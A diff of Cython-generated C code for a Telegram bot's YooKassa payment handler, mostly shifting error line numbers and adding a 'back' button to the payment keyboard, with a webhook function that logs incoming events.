__pyx_n_s_uuid); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_16, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 162, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_16, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; __pyx_t_16 = NULL; @@ -5751,7 +5746,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_16, NULL}; __pyx_t_14 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; - if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 162, __pyx_L1_error) + if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } @@ -5775,7 +5770,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 137, __pyx_L1_error) + if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -5783,30 +5778,30 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_cur_scope->__pyx_v_payment = __pyx_t_10; __pyx_t_10 = 0; - __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_status); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 165, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_status); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_4 = (__Pyx_PyUnicode_Equals(__pyx_t_10, __pyx_n_u_pending, Py_EQ)); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 165, __pyx_L1_error) + __pyx_t_4 = (__Pyx_PyUnicode_Equals(__pyx_t_10, __pyx_n_u_pending, Py_EQ)); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; if (__pyx_t_4) { - __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 166, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_confirmation_url); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 166, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_confirmation_url); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_1; __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_format); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 168, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_format); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 168, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 168, __pyx_L1_error) - __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 168, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5814,64 +5809,67 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_cur_scope->__pyx_v_payment_message = __pyx_t_14; __pyx_t_14 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 162, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 173, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_PAY); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_PAY); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 174, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 174, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 166, __pyx_L1_error) - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 173, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 172, __pyx_L1_error) + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_9); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_9)) __PYX_ERR(0, 172, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_9)) __PYX_ERR(0, 164, __pyx_L1_error); __pyx_t_9 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 179, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_n_u__8) < 0) __PYX_ERR(0, 179, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 179, __pyx_L1_error) - __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_16, __pyx_n_s_BACK); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_16) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = PyList_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_t_10 = PyList_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_GIVEREF(__pyx_t_16); - if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_16)) __PYX_ERR(0, 178, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_16)) __PYX_ERR(0, 170, __pyx_L1_error); __pyx_t_16 = 0; - __pyx_t_16 = PyList_New(2); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_16 = PyList_New(2); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_GIVEREF(__pyx_t_2); - if (__Pyx_PyList_SET_ITEM(__pyx_t_16, 0, __pyx_t_2)) __PYX_ERR(0, 171, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_16, 0, __pyx_t_2)) __PYX_ERR(0, 163, __pyx_L1_error); __Pyx_GIVEREF(__pyx_t_10); - if (__Pyx_PyList_SET_ITEM(__pyx_t_16, 1, __pyx_t_10)) __PYX_ERR(0, 171, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_16, 1, __pyx_t_10)) __PYX_ERR(0, 163, __pyx_L1_error); __pyx_t_2 = 0; __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_16) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_16) < 0) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 170, __pyx_L1_error) + __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 162, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5879,21 +5877,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_16; __pyx_t_16 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_16, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_16, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); - __pyx_t_1 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 185, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 185, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_target_message, __pyx_t_14) < 0) __PYX_ERR(0, 185, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_target_message, __pyx_t_14) < 0) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_payment_message) < 0) __PYX_ERR(0, 185, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_payment_message) < 0) __PYX_ERR(0, 177, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 185, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 177, __pyx_L1_error) - __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_16, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 184, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_16, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5908,12 +5906,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L16_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 184, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 176, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 184, __pyx_L1_error) + else __PYX_ERR(0, 176, __pyx_L1_error) } } @@ -5921,18 +5919,18 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C } /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 191, __pyx_L1_error) + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_target_message, __pyx_t_16) < 0) __PYX_ERR(0, 191, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_target_message, __pyx_t_16) < 0) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__9) < 0) __PYX_ERR(0, 191, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__8) < 0) __PYX_ERR(0, 183, __pyx_L1_error) - __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 190, __pyx_L1_error) + __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5947,12 +5945,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L17_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 190, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 182, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 190, __pyx_L1_error) + else __PYX_ERR(0, 182, __pyx_L1_error) } } } @@ -6041,12 +6039,12 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 198, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 190, __pyx_L3_error) else goto __pyx_L5_argtuple_error; } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "yookassa_webhook") < 0)) __PYX_ERR(0, 198, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "yookassa_webhook") < 0)) __PYX_ERR(0, 190, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 1)) { goto __pyx_L5_argtuple_error; @@ -6057,7 +6055,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("yookassa_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 198, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("yookassa_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 190, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -6096,7 +6094,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_6yookassa_webhook(C if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 198, __pyx_L1_error) + __PYX_ERR(0, 190, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -6104,7 +6102,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_6yookassa_webhook(C __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_8generator2, __pyx_codeobj__10, (PyObject *) __pyx_cur_scope, __pyx_n_s_yookassa_webhook, __pyx_n_s_yookassa_webhook, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 198, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_8generator2, __pyx_codeobj__9, (PyObject *) __pyx_cur_scope, __pyx_n_s_yookassa_webhook, __pyx_n_s_yookassa_webhook, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -6167,9 +6165,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 198, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 190, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -6189,7 +6187,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -6204,25 +6202,25 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 194, __pyx_L1_error) __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); } else { __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 202, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_event = __pyx_t_1; __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_event, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_event, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Webhook_event_received, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Webhook_event_received, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -6244,15 +6242,15 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 195, 